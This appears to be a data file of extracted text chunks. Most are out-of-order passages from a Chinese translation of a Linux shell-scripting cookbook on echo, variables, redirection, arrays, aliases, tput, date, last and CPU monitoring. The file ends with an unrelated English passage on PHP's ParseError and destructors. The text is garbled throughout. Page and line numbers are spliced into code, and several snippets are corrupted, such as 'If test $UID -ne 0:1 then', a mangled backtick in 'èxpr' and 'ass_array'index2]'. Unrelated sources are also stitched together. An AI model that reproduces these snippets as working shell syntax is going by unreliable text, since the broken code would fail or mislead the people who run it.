    {"text": "我们可以编写一个简单的单行脚本 来提取运行时间： $ uptime | sed 's/.*up \\(.*\\),.*users.*/\\1/' 4 sed使用单词up与第二个逗号（单词users之前）之间的内容替换掉整行文本。"},
    {"text": "这可能会追溯 5 到一年之前（甚至更久）： $ last aku1 pts/3 10.2.1.3 Tue May 16 08:23 - 16:14 (07:51) 6 cfly pts/0 cflynt.com Tue May 16 07:49 still logged in dgpx pts/0 10.0.0.5 Tue May 16 06:19 - 06:27 (00:07) stvl pts/0 10.2.1.4 Mon May 15 18:38 - 19:07 (00:29) 7 last命令会输出登录用户、用户所使用的tty、登录位置（IP地址或本地终端） 、登录时 间、登出时间、会话时长。"},
    {"text": "(6) last命令也可以获取指定用户信息： 8 $ last USER (7) 上述命令中的USER可以是系统真实用户，也可以是伪用户reboot： 9 $ last reboot reboot system boot 2.6.32-21-generi Tue Sep 28 18:10 - 21:48 (03:37) 10 reboot system boot 2.6.32-21-generi Tue Sep 28 05:14 - 21:48 (16:33) (8) lastb命令可以获取失败的用户登录会话信息： 11 # lastb test tty8 :0 Wed Dec 15 03:56 - 03:56 (00:00) slynux tty8 :0 Wed Dec 15 03:55 - 03:55 12 (00:00) 你必须以root用户的身份运行lastb。"},
    {"text": "选项-F可以输出完整的日期： # lastb -F hacker tty0 1.2.3.4 Sat Jan 7 11:50:53 2017 - Sat Jan 7 11:50:53 2017 (00:00) 9.5 列出 1 小时内占用 CPU 最多的 10 个进程 CPU是另一种会被失常进程（misbehaving process）耗尽的资源。"},
    {"text": "9.5.2 实战演练 让我们看看用于监视并计算一小时内CPU使用情况的shell脚本： #!/bin/bash # 文件名 : pcpu_usage.sh # 用途 : 计算 1 个小时内进程的 CPU 占用情况 # 将 SECS 更改成需要进行监视的总秒数 #UNIT_TIME 是取样的时间间隔，单位是秒 SECS=3600 UNIT_TIME=60 STEPS=$(( $SECS / $UNIT_TIME )) echo Watching CPU usage... ; # 采集数据，存入临时文件 for((i=0;i<STEPS;i++)) do ps -eocomm,pcpu | egrep -v '(0.0)|(%CPU)' >> /tmp/cpu_usage.$$ sleep $UNIT_TIME done 9.5 列出 1 小时内占用 CPU 最多的 10 个进程 285 # 处理采集到的数据 1 echo echo CPU eaters : cat /tmp/cpu_usage.$$ | \\ awk ' 2 { process[$1]+=$2; } END{ for(i in process) { 3 printf(\"%-20s %s\\n\",i, process[i]) ; } }' | sort -nrk 2 | head 4 # 删除临时日志文件 rm /tmp/cpu_usage.$$ 输出如下： 5 $ ./pcpu_usage.sh Watching CPU usage... CPU eaters : 6 Xorg 20 firefox-bin 15 bash 3 evince 2 7 pulseaudio 1.0 pcpu.sh 0.3 wpa_supplicant 0 wnck-applet 0 watchdog/0 0 8 usb-storage 0 9.5.3 工作原理 9 CPU的使用情况是由第一个循环负责生成的，该循环的执行时长为1小时（3600秒）。"},
    {"text": "其语法如下： $ watch COMMAND 例如： $ watch ls 或者 $ watch 'df /home' 考虑下面的例子： # 只列出目录 $ watch 'ls -l | grep \"^d\"' 命令默认每2秒更新一次输出。"},
    {"text": "5.1 简介 5.2 Web页面下载 5.2.1 预备知识 5.2.2 实战演练 5.2.3 工作原理 5.2.4 补充内容 5.3 以纯文本形式下载页面 5.3.1 预备知识 5.3.2 实战演练 5.4 cURL入门 5.4.1 预备知识 5.4.2 实战演练 5.4.3 工作原理 5.4.4 补充内容 5.4.5 参考 5.5 从命令行访问未读的Gmail邮件 5.5.1 实战演练 5.5.2 工作原理 5.5.3 参考 5.6 解析网站数据 5.6.1 实战演练 5.6.2 工作原理 5.6.3 参考 5.7 图片爬取器及下载工具 5.7.1 实战演练 5.7.2 工作原理 5.7.3 参考 5.8 网页相册生成器 5.8.1 预备知识 5.8.2 实战演练 5.8.3 工作原理 5.8.4 参考 5.9 Twitter命令行客户端 5.9.1 预备知识 5.9.2 实战演练 5.9.3 工作原理 5.9.4 参考 5.10 通过Web服务器查询单词含义 5.10.1 预备知识 5.10.2 实战演练 5.10.3 工作原理 5.10.4 参考 5.11 查找网站中的无效链接 5.11.1 预备知识 5.11.2 实战演练 5.11.3 工作原理 5.11.4 参考 5.12 跟踪网站变动 5.12.1 预备知识 5.12.2 实战演练 5.12.3 工作原理 5.12.4 参考 5.13 发送Web页面并读取响应 5.13.1 预备知识 5.13.2 实战演练 5.13.3 参考 5.14 从Internet下载视频 5.14.1 预备知识 5.14.2 实战演练 5.14.3 工作原理 5.15 使用OTS汇总文本 5.15.1 预备知识 5.15.2 实战演练 5.15.3 工作原理 5.16 在命令行中翻译文本 5.16.1 预备知识 5.16.2 实战演练 5.16.3 工作原理 第6章 仓储管理 6.1 简介 6.2 创建新的git仓库 6.2.1 预备知识 6.2.2 实战演练 6.2.3 工作原理 6.3 克隆远程git仓库 实战演练 6.4 使用git添加与提交变更 实战演练 6.5 使用git创建与合并分支 6.5.1 预备知识 6.5.2 实战演练 6.5.3 工作原理 6.5.4 补充内容 6.6 分享工作成果 实战演练 6.7 推送分支 实战演练 6.8 检查git仓库状态 6.8.1 实战演练 6.8.2 工作原理 6.9 查看git历史记录 实战演练 6.10 查找bug 6.10.1 实战演练 6.10.2 补充内容 6.11 快照标签 实战演练 6.12 提交信息规范 实战演练 6.13 使用fossil 6.13.1 预备知识 6.13.2 实战演练 6.14 创建新的fossil仓库 6.14.1 实战演练 6.14.2 工作原理 6.14.3 补充内容 6.15 克隆远程fossil仓库 6.15.1 实战演练 6.15.2 工作原理 6.16 打开fossil项目 6.16.1 实战演练 6.16.2 工作原理 6.16.3 补充内容 6.17 使用fossil添加与提交变更 6.17.1 实战演练 6.17.2 补充内容 6.18 使用fossil分支与fork 6.18.1 实战演练 6.18.2 工作原理 6.18.3 补充内容 6.19 使用fossil分享工作成果 6.19.1 实战演练 6.19.2 工作原理 6.20 更新本地fossil仓库 实战演练 6.21 检查fossil仓库状态 实战演练 6.22 查看fossil历史记录 实战演练 第7章 B计划 7.1 简介 7.2 使用tar归档 7.2.1 预备知识 7.2.2 实战演练 7.2.3 工作原理 7.2.4 补充内容 7.2.5 参考 7.3 使用cpio归档 7.3.1 实战演练 7.3.2 工作原理 7.4 使用gzip压缩数据 7.4.1 实战演练 7.4.2 补充内容 7.4.3 参考 7.5 使用zip归档及压缩 7.5.1 实战演练 7.5.2 工作原理 7.6 更快的归档工具pbzip2 7.6.1 预备知识 7.6.2 实战演练 7.6.3 工作原理 7.6.4 补充内容 7.7 创建压缩文件系统 7.7.1 预备知识 7.7.2 实战演练 7.7.3 补充内容 7.8 使用rsync备份系统快照 7.8.1 实战演练 7.8.2 工作原理 7.8.3 补充内容 7.9 差异化归档 7.9.1 实战演练 7.9.2 工作原理 7.10 使用fsarchiver创建全盘镜像 7.10.1 预备知识 7.10.2 实战演练 7.10.3 工作原理 第8章 无网不利 8.1 简介 8.2 网络设置 8.2.1 预备知识 8.2.2 实战演练 8.2.3 补充内容 8.2.4 参考 8.3 ping！"},
    {"text": "内 容 提 要 本书结合丰富的实际案例介绍了如何利用 shell 命令实现与 Linux 操作系统的高效沟通，具体内容包括： 各类日常任务以及如何利用 shell 命令更快速地解决问题 ；"},
    {"text": "◆ 著 [美] Clif Flynt [印] Sarath Lakshman Shantanu Tushar 译 门 佳 责任编辑 朱 巍 执行编辑 张海艳 责任印制 周昇亮 ◆ 人民邮电出版社出版发行 北京市丰台区成寿寺路11号 邮编 100164 电子邮件 315@ptpress.com.cn 网址 http://www.ptpress.com.cn 北京 印刷 ◆ 开本：800×1000 1/16 印张：25.5 字数：603千字 2018年 2 月第 1 版 印数：1 — 4 000册 2018年 2 月北京第 1 次印刷 著作权合同登记号 图字：01-2017-6484号 定价：89.00元 读者服务热线： (010)51095186 转 600 印装质量热线： (010)81055316 反盗版热线： (010)81055315 广告经营许可证：京崇工商广字第 20170147 号 前 言 1 1 2 版权声明 3 Copyright © 2017 Packt Publishing. First published in the English language under the title Linux 4 Shell Scripting Cookbook Third Edition . Simplified Chinese-language edition copyright © 2018 by Posts & Telecom Press. All rights reserved. 5 本书中文简体字版由Packt Publishing授权人民邮电出版社独家出版。"},
    {"text": "7 8 9 10 11 12 13 2 前 言 致 谢 感谢妻子在漫长的写作期间对于我的容忍，感谢Packt出版社的编辑Sanjeet Rao、Radhika Atitkar和Nidhisha Shetty给予我的支持与帮助。"},
    {"text": "书中描述了如何执行诸如文件查找这类常见任 务，解释了复杂的系统管理工作，例如系统监控和调优，还讨论了网络、安全、应用分发以及 4 云的应用。"},
    {"text": "预备知识 本节中给出了攻略的要求，讲述了实现该攻略所需要设置的软件或其他预备知识。 前 言 3 实战演练 1 本节包含了实现攻略所要完成的步骤。"},
    {"text": "” 代码块以如下形式显示： 8 $> env PWD=/home/clif/ShellCookBook HOME=/home/clif SHELL=/bin/bash 9 # ... And many more lines 如果我们希望你注意代码块的某个部分，会使用粗体显示相关的代码行或条目： 10 $> env PWD=/home/clif/ShellCookBook HOME=/home/clif SHELL=/bin/bash 11 # ... And many more lines 命令行输入或输出写成如下形式： 12 $ chmod a+x sample.sh 新术语和重要的词句显示为黑体。"},
    {"text": "下载示例代码 你可以在http://www.packtput.com下载本书的示例代码。 如果你是在其他地方购买的本书的英 文版，可以访问http://www.packtput.com/support并注册，示例代码将用电子邮件发送给你。"},
    {"text": "前 言 5 代码文件下载好之后，使用最新版的解压缩软件提取其中的文件： 1  WinRAR / 7-Zip（Windows）  Zipeg / iZip / UnRarX（Mac） 2  7-Zip / PeaZip（Linux） 本书的配套代码也可在GitHub上找到： 3 https://github.com/PacktPublishing/Linux-Shell-Scripting-Cookbook-Third-Edition。 其他书籍的代码和视频可以在这里找到：https://github.com/PacktPublishing/。"},
    {"text": "可以从下面的链接下载： https://www.packtpub.com/sites/default/files/downloads/LinuxShellScriptingCookbookThirdEdition_ 6 ColorImages.pdf 7 勘误 尽管我们已经竭尽全力确保本书内容准确，但错误终难避免。"},
    {"text": "如果需要提交勘误，请访问 http://www.packtpub.com/submit-errata，选择相应的书名，单击 Errata Submission Form 链接，就 9 可以开始输入详细的勘误信息了。"},
    {"text": "—————————— 13 ① 读者也可以登录图灵社区，在本书的页面（ituring.com.cn/book/2439）下提交反馈意见、勘误以及下载本书示例代码。"},
    {"text": "有很多方法可以配置 提示符，不过其形式通常如下： username@hostname$ 或者也可以配置成root@hostname #，或者简单地显示为$或#。 $表示普通用户，#表示管理员用户root。"},
    {"text": "因 为如果shell具备较高的权限，命令中出现的输入错误有可能造成更严重的破坏， 所以推荐使用普通用户（shell会在提示符中以$来表明这种身份）登录系统，然 后借助sudo这类工具来运行特权命令。"},
    {"text": "3 (1) 将脚本名作为命令行参数： bash myScript.sh 4 (2) 授予脚本执行权限，将其变为可执行文件： chmod 755 myScript.sh 5 ./myScript.sh. 如果将脚本作为bash的命令行参数来运行，那么就用不着使用shebang了。"},
    {"text": "6 使用chmod命令赋予脚本可执行权限： $ chmod a+x sample.sh 7 该命令使得所有用户可以按照下列方式执行该脚本： $ ./sample.sh #./ 表示当前目录 8 或者 $ /home/path/sample.sh # 使用脚本的完整路径 9 内核会读取脚本的首行并注意到shebang为#!/bin/bash。 它会识别出/bin/bash并执行该 脚本： 10 $ /bin/bash sample.sh 当启动一个交互式shell时，它会执行一组命令来初始化提示文本、颜色等设置。 这组命令来 自用户主目录中的脚本文件~/.bashrc（对于登录shell则是~/.bash_profile）。 Bash shell还维护了一 11 个历史记录文件~/.bash_history，用于保存用户运行过的命令。"},
    {"text": "12 —————————— ① shebang这个词其实是两个字符名称（sharp-bang）的简写。 在Unix的行话里，用sharp或hash（有时候是mesh）来 称 呼 字 符 “ #”， 用 bang 来 称 呼 惊 叹 号 “ !”， 因 而 shebang 合 起 来 就 代 表 了 这 两 个 字 符 。"},
    {"text": "默认情况下，echo在每次调用后会添加一个换行符： $ echo \"Welcome to Bash\" Welcome to Bash 只需要将文本放入双引号中，echo命令就可以将其中的文本在终端中打印出来。 类似地， 不使用双引号也可以得到同样的输出结果： $ echo Welcome to Bash Welcome to Bash 实现相同效果的另一种方式是使用单引号： $ echo 'text in quotes' 这些方法看起来相似，但各有特定的用途及副作用。"},
    {"text": "1.2 在终端中显示输出 5 $ echo \"cannot include exclamation - ! within double quotes\" 1 命令输出如下： bash: !: event not found error 2 如果需要打印像!这样的特殊字符，那就不要将其放入双引号中，而是使用单引号，或是在 特殊字符之前加上一个反斜线（\\）： $ echo Hello world ! 3 或者 $ echo 'Hello world !' 4 或者 $ echo \"Hello world \\!\" # 将转义字符放在前面 5 如果不使用引号，我们无法在echo中使用分号，因为分号在Bash shell中用作命令间的分 隔符： 6 echo hello; hello 对于上面的命令，Bash将echo hello作为一个命令，将hello作为另外一个命令。"},
    {"text": "默认情况下，printf并不会自动添加换行符，我们必须 在需要的时候手动指定，比如在下面的脚本中： 10 #!/bin/bash # 文件名 : printf.sh printf \"%-5s %-10s %-4s\\n\" No Name Mark 11 printf \"%-5s %-10s %-4.2f\\n\" 1 Sarath 80.3456 printf \"%-5s %-10s %-4.2f\\n\" 2 James 90.9989 printf \"%-5s %-10s %-4.2f\\n\" 3 Jeff 77.564 可以得到如下格式化的输出： 12 No Name Mark 1 Sarath 80.35 2 James 91.00 14 3 Jeff 77.56 6 第 1 章 小试牛刀 1.2.3 工作原理 %s、%c、%d和%f都是格式替换符（format substitution character） ，它们定义了该如何打印后 续参数。"},
    {"text": "要打印彩色文本，可输入如下命令： echo -e \"\\e[1;31m This is red text \\e[0m\" 其中\\e[1;31m是一个转义字符串，可以将颜色设为红色，\\e[0m将颜色重新置回。"},
    {"text": "1.3 使用变量与环境变量 7 要设置彩色背景的话，可输入如下命令： 1 echo -e \"\\e[1;42m Green Background \\e[0m\" 这些例子中包含了一些转义序列。"},
    {"text": "可以使用env或printenv命令查看当前shell 中所定义的全部环境变量： 7 $> env PWD=/home/clif/ShellCookBook HOME=/home/clif SHELL=/bin/bash 8 # …… 其他行 要查看其他进程的环境变量，可以使用如下命令： 9 cat /proc/$PID/environ 其中，PID是相关进程的进程ID（PID是一个整数）。"},
    {"text": "我们可以使用pgrep命令获得gedit的进程ID： $ pgrep gedit 12501 11 那么，你就可以执行以下命令来查看与该进程相关的环境变量： $ cat /proc/12501/environ GDM_KEYBOARD_LAYOUT=usGNOME_KEYRING_PID=1560USER=slynuxHOME=/home/slynux 12 14 8 第 1 章 小试牛刀 注意，实际输出的环境变量远不止这些，只是考虑到页面篇幅的限制，这里 删除了不少内容。"},
    {"text": "要想生成一份易读的报表，可以将cat命令的输出通过管道传给tr，将其中的\\0替换成\\n： $ cat /proc/12501/environ | tr '\\0' '\\n' 1.3.2 实战演练 可以使用等号操作符为变量赋值： varName=value varName是变量名，value是赋给变量的值。"},
    {"text": "var=\"value\" # 将 \"value\" 赋给变量 var echo $var 也可以这样写： echo ${var} 输出如下： value 我们可以在printf、echo或其他命令的双引号中引用变量值： #!/bin/bash # 文件名 :variables.sh fruit=apple count=5 echo \"We have $count ${fruit}(s)\" 输出如下： We have 5 apple(s) 1.3 使用变量与环境变量 9 因为shell使用空白字符来分隔单词，所以我们需要加上一对花括号来告诉shell这里的变量名 1 是fruit，而不是fruit(s)。"},
    {"text": "例如环境变量HTTP_PROXY，它定义了Internet连接 2 应该使用哪个代理服务器。 该环境变量通常被设置成： 3 HTTP_PROXY=192.168.1.23:3128 export HTTP_PROXY export命令声明了将由子进程所继承的一个或多个变量。"},
    {"text": "一个典型的PATH变量包 5 含如下内容： $ echo $PATH /home/slynux/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr 6 /games 各目录路径之间以:分隔。"},
    {"text": "7 如果需要在PATH中添加一条新路径，可以使用如下命令： export PATH=\"$PATH:/home/user/bin\" 8 也可以使用 $ PATH=\"$PATH:/home/user/bin\" $ export PATH $ echo $PATH 9 /home/slynux/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr /games:/home/user/bin 这样，我们就将/home/user/bin添加到了PATH中。"},
    {"text": "10 第 1 章 小试牛刀 1. 获得字符串的长度 可以用下面的方法获得变量值的长度： length=${#var} 考虑这个例子： $ var=12345678901234567890 $ echo ${#var} 20 length就是字符串所包含的字符数。"},
    {"text": "2. 识别当前所使用的shell 可以通过环境变量SHELL获知当前使用的是哪种shell： echo $SHELL 也可以用 echo $0 例如： $ echo $SHELL /bin/bash 执行echo $0命令也可以得到同样的输出： $ echo $0 /bin/bash 3. 检查是否为超级用户 环境变量UID中保存的是用户ID。"},
    {"text": "例如： If [ $UID -ne 0 ]; then echo Non root user. Please run as root. else echo Root user fi 注意，[实际上是一个命令，必须将其与剩余的字符串用空格隔开。 上面的脚本也可以 写成： If test $UID -ne 0:1 then echo Non root user. Please run as root. else 1.4 使用函数添加环境变量 11 echo Root user 1 fi root用户的UID是0。"},
    {"text": " 查看设置变量PS1的那一行： 4 $ cat ~/.bashrc | grep PS1 PS1='${debian_chroot:+($debian_chroot)}\\u@\\h:\\w\\$ '  如果要修改提示字符串，可以输入： 5 slynux@localhost: ~$ PS1=\"PROMPT>\" #提示字符串已经改变 PROMPT> Type commands here. 6  我们可以利用类似于\\e[1;31的特定转义序列来设置彩色的提示字符串（参考1.2节的内 容）。"},
    {"text": "例如 $PATH和 $LD_LIBRARY_PATH 9 ，它们通常看起来像这样： PATH=/usr/bin; /bin LD_LIBRARY_PATH=/usr/lib; /lib 10 这意味着只要shell执行应用程序（二进制文件或脚本）时，它就会首先查找/usr/bin，然后查找/bin。"},
    {"text": "12 第 1 章 小试牛刀 export PATH=/opt/myapp/bin:$PATH export LD_LIBRARY_PATH=/opt/myapp/lib; $LD_LIBRARY_PATH PATH和LD_LIBRARY_PATH现在看起来应该像这样： PATH=/opt/myapp/bin:/usr/bin:/bin LD_LIBRARY_PATH=/opt/myapp/lib:/usr/lib; /lib 我们可以在.bashrc文件中定义如下函数，简化路径添加操作： prepend() { [ -d \"$2\" ] && eval $1=\\\"$2':'\\$$1\\\" && export $1; } 该函数用法如下： prepend PATH /opt/myapp/bin prepend LD_LIBRARY_PATH /opt/myapp/lib 1.4.2 工作原理 函数prepend()首先确认该函数第二个参数所指定的目录是否存在。"},
    {"text": "要解决这个问题，可以对该函数再 做一些修改： prepend() { [ -d \"$2\" ] && eval $1=\\\"$2\\$\\{$1:+':'\\$$1\\}\\\" && export $1 ; } 在这个函数中，我们引入了一种shell参数扩展的形式： ${parameter:+expression} 如果parameter有值且不为空，则使用expression的值。"},
    {"text": "当使用let时，变量名之前不需要再添加$，例如： 1 let result=no1+no2 echo $result let 2 命令的其他用法如下：  自加操作 $ let no1++ 3  自减操作 $ let no1-- 4  简写形式 let no+=6 5 let no-=6 它们分别等同于let no=no+6和let no=no-6。 6  其他方法 操作符[]的使用方法和let命令一样： 7 result=$[ no1 + no2 ] 在[]中也可以使用$前缀，例如： result=$[ $no1 + 5 ] 8 也可以使用操作符(())。 出现在(())中的变量名之前需要加上$： result=$(( no1 + 50 )) 9 expr同样可以用于基本算术操作： result=èxpr 3 + 4` 10 result=$(expr $no1 + 5) 以上这些方法不支持浮点数，只能用于整数运算。"},
    {"text": "我们可 以借助它执行浮点数运算并使用一些高级函数： echo \"4 * 0.56\" | bc 12 2.24 no=54; result=ècho \"$no * 1.5\" | bc` echo $result 14 81.0 14 第 1 章 小试牛刀 bc可以接受操作控制前缀。"},
    {"text": "来看看下面的代码是如何在十进 制与二进制之间相互转换的： #!/bin/bash 用途：数字转换 no=100 echo \"obase=2;$no\" | bc 1100100 no=1100100 echo \"obase=10;ibase=2;$no\" | bc 100  计算平方以及平方根。"},
    {"text": "1.6 玩转文件描述符与重定向 15 1.6.2 实战演练 1 (1) 使用大于号将文本保存到文件中： $ echo \"This is a sample text 1\" > temp.txt 2 该命令会将输出的文本保存在temp.txt中。 如果temp.txt已经存在，大于号会清空该文件中 先前的内容。 3 (2) 使用双大于号将文本追加到文件中： $ echo \"This is sample text 2\" >> temp.txt 4 (3) 使用cat查看文件内容： $ cat temp.txt This is sample text 1 5 This is sample text 2 接着来看看如何重定向stderr。"},
    {"text": "9 下面的命令会将stderr文本打印到屏幕上，而不是文件中（因为stdout并没有输出，所以 out.txt的内容为空）： 10 $ ls + > out.txt ls: cannot access +: No such file or directory 在下面的命令中，我们使用2>（数字2以及大于号）将stderr重定向到out.txt： 11 $ ls + 2> out.txt # 没有问题 你可以将stderr和stdout分别重定向到不同的文件中： 12 $ cmd 2>stderr.txt 1>stdout.txt 下面这种更好的方法能够将stderr转换成stdout，使得stderr和stdout都被重定向到同 14 一个文件中： 16 第 1 章 小试牛刀 $ cmd 2>&1 alloutput.txt 或者这样 $ cmd &> output.txt 如果你不想看到或保存错误信息，那么可以将stderr的输出重定向到/dev/null，保证一切都 会被清除得干干净净。"},
    {"text": "来设置 一些测试文件： $ echo A1 > a1 $ echo A2 > a2 $ echo A3 > a3 $ chmod 000 a1 # 清除所有权限 使用通配符（a*）显示这些文件内容的话，系统会显示出错信息，因为文件a1没有可读权限： $ cat a* cat: a1: Permission denied A2 A3 其中，cat: a1: Permission denied属于stderr信息。"},
    {"text": "$ cat a* 2> err.txt # stderr 被重定向到 err.txt A2 A3 $ cat err.txt cat: a1: Permission denied 我们在处理一些命令输出的同时还想将其保存下来，以备后用。"},
    {"text": "tee命令从stdin中读取，然后将输入数据重定向到stdout以及一个或多个文件中。 command | tee FILE1 FILE2 | otherCommand 在下面的代码中，tee命令接收到来自stdin的数据。"},
    {"text": "命令cat -n为从stdin中接收到的每一行数 据前加上行号并将其写入stdout： $ cat a* | tee out.txt | cat -n cat: a1: Permission denied 1 A2 2 A3 1.6 玩转文件描述符与重定向 17 使用cat查看out.txt的内容： 1 $ cat out.txt A2 A3 2 注意，cat: a1: Permission denied 并没有在文件内容中出现，因为 这些信息被发送到了stderr，而tee只能从stdin中读取。"},
    {"text": "要发送输入内容的两份副本给stdout，使用-作为命令的文件名参数即可： 5 $ cmd1 | cmd2 | cmd - 例如： 6 $ echo who is this | tee - who is this who is this 也可以将/dev/stdin作为输出文件名来代替stdin。"},
    {"text": "考虑下面的例子： $ cat file | cmd $ cmd1 | cmd2 1. 将文件重定向到命令 借助小于号（<），我们可以像使用stdin那样从文件中读取数据： $ cmd < file 2. 重定向脚本内部的文本块 可以将脚本中的文本重定向到文件。"},
    {"text": "要想将一条警告信息添加到自动生成的文件顶部，可以 使用下面的代码： #!/bin/bash cat<<EOF>log.txt This is a generated file. Do not edit. Changes will be overwritten. EOF 出现在cat <<EOF>log.txt与下一个EOF行之间的所有文本行都会被当作stdin数据。"},
    {"text": "log.txt文件的内容显示如下： $ cat log.txt This is a generated file. Do not edit. Changes will be overwritten. 3. 自定义文件描述符 文件描述符是一种用于访问文件的抽象指示器（abstract indicator）。"},
    {"text": ">操作符用于截断模式的文件写入（数据在目标文件内容被 截断之后写入）。 >>操作符用于追加模式的文件写入（数据被追加到文件的现有内容之后，而且 该目标文件中原有的内容不会丢失）。"},
    {"text": "创建一个用于读取文件的文件描述符： $ exec 3<input.txt # 使用文件描述符 3 打开并读取文件 1.7 数组与关联数组 19 我们可以这样使用它： 1 $ echo this is a test line > input.txt $ exec 3<input.txt 2 现在你就可以在命令中使用文件描述符3了。 例如： $ cat<&3 this is a test line 3 如果要再次读取，我们就不能继续使用文件描述符3了，而是需要用exec重新创建一个新的 文件描述符（可以是4）来从另一个文件中读取或是重新读取上一个文件。 4 创建一个用于写入（截断模式）的文件描述符： $ exec 4>output.txt # 打开文件进行写入 例如： 5 $ exec 4>output.txt $ echo newline >&4 $ cat output.txt 6 newline 创建一个用于写入（追加模式）的文件描述符： 7 $ exec 5>>input.txt 例如： $ exec 5>>input.txt 8 $ echo appended line >&5 $ cat input.txt newline appended line 9 1.7 数组与关联数组 10 数组允许脚本利用索引将数据集合保存为独立的条目。"},
    {"text": "(1) 可以在单行中使用数值列表来定义一个数组： array_var=(test1 test2 test3 test4) # 这些值将会存储在以 0 为起始索引的连续位置上 另外，还可以将数组定义成一组“索引值”： array_var[0]=\"test1\" array_var[1]=\"test2\" array_var[2]=\"test3\" array_var[3]=\"test4\" array_var[4]=\"test5\" array_var[5]=\"test6\" (2) 打印出特定索引的数组元素内容： echo ${array_var[0]} test1 index=5 echo ${array_var[$index]} test6 (3) 以列表形式打印出数组中的所有值： $ echo ${array_var[*]} test1 test2 test3 test4 test5 test6 也可以这样使用： $ echo ${array_var[@]} test1 test2 test3 test4 test5 test6 (4) 打印数组长度（即数组中元素的个数）： $ echo ${#array_var[*]}6 1.7.3 补充内容 关联数组从Bash 4.0版本开始被引入。"},
    {"text": "1. 定义关联数组 在关联数组中，我们可以用任意的文本作为数组索引。 首先，需要使用声明语句将一个变量 定义为关联数组： 1.8 别名 21 $ declare -A ass_array 1 声明之后，可以用下列两种方法将元素添加到关联数组中。  使用行内“索引值”列表： 2 $ ass_array=([index1]=val1 [index2]=val2)  使用独立的“索引值”进行赋值： 3 $ ass_array[index1]=val1 $ ass_array'index2]=val2 举个例子，试想如何用关联数组为水果制定价格： 4 $ declare -A fruits_value $ fruits_value=([apple]='100 dollars' [orange]='150 dollars') 5 用下面的方法显示数组内容： $ echo \"Apple costs ${fruits_value[apple]}\" Apple costs 100 dollars 6 2. 列出数组索引 每一个数组元素都有对应的索引。"},
    {"text": "我们可以用下面的 7 方法获取数组的索引列表： $ echo ${!array_var[*]} 也可以这样 8 $ echo ${!array_var[@]} 以先前的fruits_value数组为例，运行如下命令： 9 $ echo ${!fruits_value[*]} orange apple 10 对于普通数组，这个方法同样可行。"},
    {"text": "$ alias new_command='command sequence' 下面的命令为apt-get install创建了一个别名： $ alias install='sudo apt-get install' 定义好别名之后，我们就可以用install来代替sudo apt-get install了。"},
    {"text": "$ echo 'alias cmd=\"command seq\"' >> ~/.bashrc (3) 如果需要删除别名，只需将其对应的定义（如果有的话）从~/.bashrc中删除，或者使用 unalias命令。"},
    {"text": "1. 对别名进行转义 创建一个和原生命令同名的别名很容易，你不应该以特权用户的身份运行别名化的命令。 我 们可以转义要使用的命令，忽略当前定义的别名： $ \\command 字符\\可以转义命令，从而执行原本的命令。"},
    {"text": "2. 列举别名 alias命令可以列出当前定义的所有别名： 1.9 采集终端信息 23 $ aliasalias lc='ls -color=auto' 1 alias ll='ls -l' alias vi='vim' 2 1.9 采集终端信息 编写命令行shell脚本时，总是免不了处理当前终端的相关信息，比如行数、列数、光标位置、 遮盖的密码字段等。"},
    {"text": "6  获取终端的行数和列数： tput cols tput lines 7  打印出当前的终端名： tput longname 8  将光标移动到坐标(100,100)处： tput cup 100 100 9  设置终端背景色： tput setb n 10 其中，n可以在0到7之间取值。"},
    {"text": "14 24 第 1 章 小试牛刀  设置文本样式为粗体： tput bold  设置下划线的起止： tput smul tput rmul  删除从当前光标位置到行尾的所有内容： tput ed  输入密码时，脚本不应该显示输入内容。"},
    {"text": "在下面的例子中，我们将看到如何使用stty来 实现这一需求： #!/bin/sh #Filename: password.sh echo -e \"Enter password: \" # 在读取密码前禁止回显 stty -echo read password # 重新允许回显 stty echo echo echo Password read. stty命令的选项-echo禁止将输出发送到终端，而选项echo则允许发送输出。"},
    {"text": "(1) 读取日期： 2 $ date Thu May 20 23:09:04 IST 2010 3 (2) 打印纪元时： $ date +%s 1290047248 4 data命令可以将很多不同格式的日期转换成纪元时。"},
    {"text": "data命令可以根据指定的日期找出这一天是星期几： 7 $ date --date \"Jan 20 2001\" +%A Saturday 8 1.10.3节中的表1-1是一份日期格式字符串列表。"},
    {"text": "例如： 9 $ date \"+%d %B %Y\" 20 May 2010 10 (4) 设置日期和时间： # date -s \" 格式化的日期字符串 \" 11 例如： # date -s \"21 June 2009 11:01:22\" 12 如果系统已经联网，可以使用ntpdate来设置日期和时间： /usr/sbin/ntpdate -s time-b.nist.gov 14 (5) 要优化代码，首先得先进行测量。"},
    {"text": "date命令可以用于计算一组命令所花费的执行时间： 26 第 1 章 小试牛刀 #!/bin/bash # 文件名 : time_take.sh start=$(date +%s) commands; statements; end=$(date +%s) difference=$(( end - start)) echo Time taken to execute commands is $difference seconds. date命令的最小精度是秒。"},
    {"text": "ParseError ParseError The eval() language construct enables us to execute any arbitrary PHP code. The only requirement is that the code must not be wrapped in opening and closing PHP tags. Apart from that, the passed code itself must be a valid PHP code. If it happens that the passed code is invalid, then ParseError is thrown. The ParseError class has no methods of its own, they are all inherited from the parent Error class, as per the following class synopsis: ParseError extends Error { final public string Error::getMessage (void) final public Throwable Error::getPrevious (void) final public mixed Error::getCode (void) final public string Error::getFile (void) final public int Error::getLine (void) final public array Error::getTrace (void) final public string Error::getTraceAsString (void) public string Error::__toString (void) final private void Error::__clone (void) } The following code snippet demonstrates the valid eval() expression: <?php try { $now = eval(\"return date('D, d M Y H:i:s');\"); echo $now; } catch (ParseError $e) { echo 'Caught: ' . $e->getMessage(); } The following code block demonstrates a parse error in the evaluated code: <?php try { $now = eval(\"return date(D, d M Y H:i:s);\"); echo $now; } catch (ParseError $e) { echo 'Caught: ' . $e->getMessage(); } Seeming nearly identical as a working example, you can notice the lack of the opening and closing ( ' ) character around the date function parameter. This breaks the eval function, triggering the ParseError catch block with the following output: Caught: syntax error, unexpected 'M' (T_STRING), expecting ',' or ')' Now, let's take a look at the following code snippet: <?php try { $now = date(D, d M Y H:i:s); echo $now; } catch (ParseError $e) { echo 'Caught: ' . $e->getMessage(); } Here, we are not using the eval() expression, but have intentionally broken the code. The resulting output triggers the parse error, but this time not through reacting to the catch block, which is sort of expected. It is highly unlikely that this specific case would even happen in the modern IDE environments, such as PhpStorm, Netbeans, and alike, as they automatically alert us on broken syntax. Using __destruct() Using __destruct() Alongside the constructor, the destructor is a common feature of the OO language. The __destruct() magic method represents this concept. The method gets triggered as soon as there are no other references to a particular object. This can happen either when PHP decides to explicitly free the object, 